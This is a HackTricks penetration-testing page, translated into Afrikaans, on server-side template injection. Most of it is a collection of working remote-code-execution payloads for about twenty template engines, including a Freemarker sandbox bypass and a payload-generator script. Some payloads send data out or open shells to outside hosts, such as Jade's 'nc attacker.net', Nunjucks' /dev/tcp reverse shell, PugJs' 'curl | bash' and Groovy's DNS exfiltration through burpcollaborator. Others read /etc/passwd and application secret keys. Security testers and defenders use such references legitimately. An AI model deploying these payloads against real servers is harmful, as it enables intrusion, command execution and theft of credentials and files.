SSTI (Server Side Template Injection)

Reading time: 30 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Wat is SSTI (Server-Side Template Injection)

Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n sjabloon kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan in verskeie tegnologieë gevind word, insluitend Jinja.

Jinja is 'n gewilde sjabloon enjin wat in webtoepassings gebruik word. Kom ons oorweeg 'n voorbeeld wat 'n kwesbare kode-snippet met Jinja demonstreer:

python
output = template.render(name=request.args.get('name'))

In hierdie kwesbare kode word die name parameter van die gebruiker se versoek direk in die sjabloon deur die render funksie oorgedra. Dit kan potensieel 'n aanvaller toelaat om kwaadwillige kode in die name parameter in te spuit, wat lei tot server-side template injection.

Byvoorbeeld, 'n aanvaller kan 'n versoek saamstel met 'n payload soos hierdie:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Die payload {{bad-stuff-here}} word in die name parameter ingespuit. Hierdie payload kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongeoorloofde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry.

Om bediener-kant sjabloon-inspuitingskwulnerabiliteite te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesuiwer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidasie en die gebruik van konteksbewuste ontsnappingstegnieke kan help om die risiko van hierdie kwesbaarheid te verminder.

Opsporing

Om Server-Side Template Injection (SSTI) te ontdek, is dit aanvanklik fuzzing die sjabloon 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (${{<%[%'"}}%\) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in:

  • Gegooi foute, wat die kwesbaarheid en moontlik die sjabloon-enjin onthul.
  • Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data.
  • Plaktekst Konteks: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. {{7*7}}, ${7*7}).
  • Kode Konteks: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om greeting in http://vulnerable-website.com/?greeting=data.username te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in greeting=data.username}}hello wat die gebruikersnaam teruggee.

Identifikasiefase

Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe of handmatige toetsing van verskeie taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit ${7/0}, {{7/0}}, en <%= 7/0 %> in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal.

Identifikasie deur payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Gereedskap

TInjA

'n Doeltreffende SSTI + CSTI skandeerder wat nuutste poliglotte gebruik.

bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

'n Interaktiewe tabel wat die mees doeltreffende template-inspuitings-polyglots bevat, saam met die verwagte antwoorde van die 44 belangrikste template-enjins.

Exploits

Generies

In hierdie woordelys kan jy veranderlikes gedefinieer in die omgewings van sommige van die enjin hieronder vind:

Java

Java - Basiese inspuiting

java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Verkry die stelsels se omgewing veranderlikes

java
${T(java.lang.System).getenv()}

Java - Verkry /etc/passwd

java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Jy kan jou payloads probeer by https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Niks
  • ${foobar}
java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox omseiling

⚠️ werk slegs op Freemarker weergawes onder 2.3.30

java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Meer inligting

Velocity (Java)

java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Meer inligting

Thymeleaf

In Thymeleaf is 'n algemene toets vir SSTI kwesbaarhede die uitdrukking ${7*7}, wat ook op hierdie sjabloon enjin van toepassing is. Vir potensiële afstandkode-uitvoering kan uitdrukkings soos die volgende gebruik word:

  • SpringEL:
java
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. egter, uitdrukking inlining word ondersteun vir ander sjabloon plekke, met sintaksis soos [[...]] of [(...)]. Dus, 'n eenvoudige SSTI toets payload kan lyk soos [[${7*7}]].

Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie TemplateResolver moet implementeer om sjablone van stringe op die vlieg te skep, wat ongewoon is.

Thymeleaf bied ook uitdrukking preprocessing aan, waar uitdrukkings binne dubbele onderstrepings (__...__) vooraf verwerk word. Hierdie kenmerk kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:

java
#{selection.__${sel.code}__}

Voorbeeld van Kw vulnerability in Thymeleaf

Overweeg die volgende kode-snippet, wat kwesbaar kan wees vir uitbuiting:

xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Dit dui aan dat as die sjabloon enjin hierdie insette verkeerd verwerk, dit mag lei tot afstandkode-uitvoering wat toegang tot URL's soos:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Meer inligting

EL - Expression Language

Spring Framework (Java)

java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Om filters te omseil

Meervoudige veranderlike uitdrukkings kan gebruik word, as ${...} nie werk nie, probeer #{...}, *{...}, @{...} of ~{...}.

  • Lees /etc/passwd
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Pasgemaakte Skrip vir payload generasie
python
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Meer Inligting

Spring View Manipulasie (Java)

java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Ou weergawe van Pebble ( < weergawe 3.0.9):

java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nuwe weergawe van Pebble :

java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is 'n oopbronprojek ontwikkel deur Hubspot, beskikbaar by https://github.com/HubSpot/jinjava/

Jinjava - Opdrag uitvoering

Gerepareer deur https://github.com/HubSpot/jinjava/pull/230

java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Meer inligting

Hubspot - HuBL (Java)

  • {% %} verklaring afdelers
  • {{ }} uitdrukking afdelers
  • {# #} kommentaar afdelers
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - klas com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Soek vir "com.hubspot.content.hubl.context.TemplateContextRequest" en ontdek die Jinjava project op Github.

java
{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Meer inligting

Uitdrukkingstaal - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL benut, sluit in:

  • JavaServer Faces (JSF): Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
  • JavaServer Pages (JSP): EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
  • Contexts and Dependency Injection for Java EE (CDI): EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te fasiliteer, wat 'n meer samehangende toepassingsstruktuur verseker.

Kyk na die volgende bladsy om meer te leer oor die uitbuiting van EL-interpretators:

EL - Expression Language

Groovy (Java)

Die volgende Sekuriteitsbestuurder omseilings is geneem uit hierdie skrywe.

java
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Ander Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

php
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Meer inligting

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Niks
python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Sjabloonformaat

php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Meer inligting

Plates (PHP)

Plates is 'n templating engine wat inheems aan PHP is, wat inspirasie put uit Twig. Dit is egter anders as Twig, wat 'n nuwe sintaksis bekendstel, gebruik Plates inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars.

Controller:

php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Blad sjabloon:

php
<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Skakel sjabloon:

html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Meer inligting

PHPlib en HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB is dieselfde as PHPlib, maar oorgedra na Pear.

authors.tpl

html
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Meer inligting

Ander PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Meer inligting

patTemplate (PHP)

patTemplate nie-kompilerende PHP templating engine, wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel

xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Meer inligting

Handlebars (NodeJS)

Pad Traversal (meer inligting hier).

bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Fout
  • ${7*7} = ${7*7}
  • Niks
java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Meer inligting

JsRender (NodeJS)

SjabloonBeskrywing
Evalueer en render uitvoer
Evalueer en render HTML-gecodeerde uitvoer
Kommentaar
enLaat kode toe (standaard gedeaktiveer)
  • = 49

Kliëntkant

python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Bediener Kante

bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Meer inligting

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Voorbeeld van bediener-kant weergawe

javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)

Meer inligting

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Geen uitvoer
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Fout
javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Meer inligting

Ander NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Meer inligting

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Meer inligting

Ander Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Kyk na die volgende bladsy om truuks oor arbitrary command execution bypassing sandboxes in python te leer:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Meer inligting

Jinja2 (Python)

Amptelike webwerf

Jinja2 is 'n volledig funksionele sjabloon enjin vir Python. Dit het volle unicode ondersteuning, 'n opsionele geïntegreerde sandboxed uitvoeringsomgewing, word wyd gebruik en is BSD gelisensieer.

  • {{7*7}} = Fout
  • ${7*7} = ${7*7}
  • {{foobar}} Niks
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
python
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Sjabloonformaat

python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nie afhanklik van __builtins__:

python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Meer besonderhede oor hoe om Jinja te misbruik:

Jinja2 SSTI

Ander payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

Meer inligting

Ander Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
